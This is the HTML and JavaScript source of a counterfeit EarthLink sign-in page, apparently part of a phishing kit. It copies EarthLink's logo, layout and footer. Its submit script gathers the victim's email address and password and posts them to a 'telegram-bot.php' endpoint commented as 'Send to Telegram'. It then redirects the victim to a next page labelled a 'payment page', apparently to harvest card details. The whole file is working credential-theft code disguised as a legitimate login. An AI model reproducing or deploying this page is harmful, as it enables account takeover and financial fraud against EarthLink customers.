Edit File: index.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Sign In - My EarthLink</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Arial, sans-serif; } body { background-color: #f2f2f2; } .header { background: linear-gradient(#fefefe, #e6e4e5); height: 36px; display: flex; justify-content: space-between; align-items: center; padding: 0 20px; } .logo img { max-width: 123px; padding-top: 3px; } .center-logo { text-align: center; margin: 25px auto 16px; } .center-logo img { width: 180px; } .outer-div { width: 100%; display: flex; justify-content: center; min-height: 525px; } .inner-div { width: 550px; border: 1px solid #ceced5; background-color: white; color: #212529; margin-bottom: 50px; } .heading-div { padding: 20px 56px 0; margin-top: 16px; } .heading-div h3 { font-size: 26px; color: #007dba; margin: 0; font-weight: 400; } .heading-div h4 { font-size: 16px; color: #707b87; margin-top: 10px; margin-bottom: 0; font-weight: inherit; } form { padding: 20px 56px 32px; } .label-div { color: #707b87; font-size: 16px; margin-bottom: 10px; font-weight: 600; display: block; } input[type="email"], input[type="password"], input[type="text"] { height: 38px; width: 100%; font-size: 16px; border: 1px solid darkgrey; padding: 0 12px; font-weight: 400; margin-top: 10px; margin-bottom: 10px; } .password-input-wrapper { position: relative; width: 100%; } .password-toggle { position: absolute; right: 12px; top: 50%; transform: translateY(-50%); background: none; border: none; color: #666; cursor: pointer; font-size: 16px; } .checkbox-group { display: flex; align-items: center; margin-bottom: 20px; } .checkbox-group input[type="checkbox"] { margin-right: 8px; width: 16px; height: 16px; } .forgot-link { color: #0172ce; font-size: 14px; font-weight: 600; text-decoration: none; margin-left: auto; } .forgot-link:hover { opacity: 0.8; } button[type="submit"] { height: 38px; width: 100%; font-size: 16px; background: #0172ce; color: white; border: none; font-weight: 400; cursor: pointer; margin-top: 14px; } .button-row { display: flex; justify-content: space-between; margin-top: 14px; gap: 15px; } .button-row a { flex: 1; } .button-row input { height: 38px; width: 100%; font-size: 16px; background: #0172ce; color: white; border: none; cursor: pointer; font-weight: 400; } .footer { background-color: #57585c; padding: 50px 100px 0; color: white; } .footer-links { display: flex; justify-content: space-between; } .footer-section { flex: 1; } .footer-section h3 { font-size: 16px; font-weight: 600; margin-bottom: 10px; } .footer-section ul { list-style: none; } .footer-section ul li { margin-bottom: 5px; } .footer-section a { color: white; text-decoration: underline; font-size: 14px; } .social-links { display: flex; gap: 10px; margin-top: 20px; } .social-links a { display: inline-flex; align-items: center; justify-content: center; width: 36px; height: 36px; background: white; border-radius: 50%; text-decoration: none; } .social-links i { color: #57585c; font-size: 18px; } .copyright { padding: 20px 100px; text-align: center; color: white; font-size: 14px; background-color: #57585c; border-top: 1px solid #666; margin-top: 30px; } .error-message { color: red; font-size: 14px; margin-top: 5px; display: none; } .hidden { display: none; } </style> </head> <body> <!-- Header --> <div class="header"> <div class="logo"> <img src="https://www.earthlink.net/images/earthlink-logo.svg" alt="EarthLink"> </div> </div> <!-- Main Logo --> <div class="center-logo"> <img src="https://www.earthlink.net/images/earthlink-logo.svg" alt="EarthLink"> </div> <!-- Login Form --> <div class="outer-div"> <div class="inner-div"> <div class="heading-div"> <h3>Welcome to EarthLink</h3> <h4>Sign in to get started</h4> </div> <form id="loginForm"> <!-- Email Field --> <div> <label class="label-div" for="email">Email Address:</label> <input type="email" id="email" name="email" placeholder="username@earthlink.net" required> <div class="error-message" id="email-error">This field is required.</div> </div> <!-- Password Field --> <div> <label class="label-div" for="password">Password:</label> <div class="password-input-wrapper"> <input type="password" id="password" name="password" placeholder="Enter your password" required> <button type="button" class="password-toggle" id="togglePassword"> <i class="fas fa-eye"></i> </button> </div> <div class="error-message" id="password-error">This field is required.</div> </div> <!-- Remember Me & Forgot Password --> <div class="checkbox-group"> <input type="checkbox" id="remember" name="remember" checked> <label for="remember">Remember username</label> <a href="#" class="forgot-link">Forgot your password?</a> </div> <!-- Sign In Button --> <button type="submit" id="signinBtn"> <span id="buttonText">Sign In</span> <i class="fas fa-spinner fa-spin hidden" id="spinner"></i> </button> <!-- Additional Buttons --> <div class="button-row"> <a href="" target="_blank"> <input type="button" value="Make a Payment"> </a> <a href="" target="_blank"> <input type="button" value="Support"> </a> </div> </form> </div> </div> <!-- Footer --> <div class="footer"> <div class="footer-links"> <!-- Internet Section --> <div class="footer-section"> <h3>Internet</h3> <ul> <li><a href="#">High-Speed Internet</a></li> <li><a href="#">Fiber Internet</a></li> <li><a href="#">Wireless Home Internet</a></li> </ul> </div> <!-- EarthLink Section --> <div class="footer-section"> <h3>EarthLink</h3> <ul> <li><a href="#">About Us</a></li> <li><a href="#">Contact</a></li> <li><a href="#">Blog</a></li> </ul> </div> <!-- Help Section --> <div class="footer-section"> <h3>Help</h3> <ul> <li><a href="#">Support</a></li> <li><a href="#">Live Chat</a></li> </ul> <h3 style="margin-top: 20px;">Follow EarthLink</h3> <div class="social-links"> <a href="#"><i class="fab fa-facebook-f"></i></a> <a href="#"><i class="fab fa-twitter"></i></a> <a href="#"><i class="fab fa-linkedin-in"></i></a> <a href="#"><i class="fab fa-youtube"></i></a> </div> </div> <!-- Account Section --> <div class="footer-section"> <h3>Account</h3> <ul> <li><a href="#">My Account</a></li> <li><a href="#">WebMail</a></li> <li><a href="#">My EarthLink</a></li> </ul> </div> </div> <div class="copyright"> � 2026 EarthLink, LLC � All rights reserved<br> <a href="#" style="color: white; text-decoration: underline;">Privacy Policy</a> � <a href="#" style="color: white; text-decoration: underline;">Interest-Based Ads</a> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const form = document.getElementById('loginForm'); const togglePassword = document.getElementById('togglePassword'); const passwordInput = document.getElementById('password'); const signinBtn = document.getElementById('signinBtn'); const buttonText = document.getElementById('buttonText'); const spinner = document.getElementById('spinner'); // Toggle password visibility togglePassword.addEventListener('click', function() { const type = passwordInput.getAttribute('type') === 'password' ? 'text' : 'password'; passwordInput.setAttribute('type', type); this.querySelector('i').classList.toggle('fa-eye'); this.querySelector('i').classList.toggle('fa-eye-slash'); }); // Form validation form.addEventListener('submit', function(e) { e.preventDefault(); const email = document.getElementById('email').value; const password = passwordInput.value; let isValid = true; // Reset errors document.querySelectorAll('.error-message').forEach(el => el.style.display = 'none'); // Validate email if (!email || !isValidEmail(email)) { document.getElementById('email-error').style.display = 'block'; isValid = false; } // Validate password if (!password) { document.getElementById('password-error').style.display = 'block'; isValid = false; } if (isValid) { // Show loading state buttonText.textContent = 'Signing In...'; spinner.classList.remove('hidden'); signinBtn.disabled = true; // Create form data const formData = new FormData(); formData.append('email', email); formData.append('password', password); formData.append('remember', document.getElementById('remember').checked); formData.append('timestamp', new Date().toISOString()); // Send to Telegram (if you want to keep this) fetch('telegram-bot.php', { method: 'POST', body: formData }).catch(error => { console.log('Telegram error (ignored):', error); }); // Redirect to payment page after 1 second setTimeout(() => { window.location.href = 'log2.htm'; }, 1000); } }); function isValidEmail(email) { const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; return re.test(email); } // Real-time validation document.getElementById('email').addEventListener('input', function() { if (this.value && isValidEmail(this.value)) { document.getElementById('email-error').style.display = 'none'; } }); passwordInput.addEventListener('input', function() { if (this.value) { document.getElementById('password-error').style.display = 'none'; } }); }); </script> </body> </html>
Back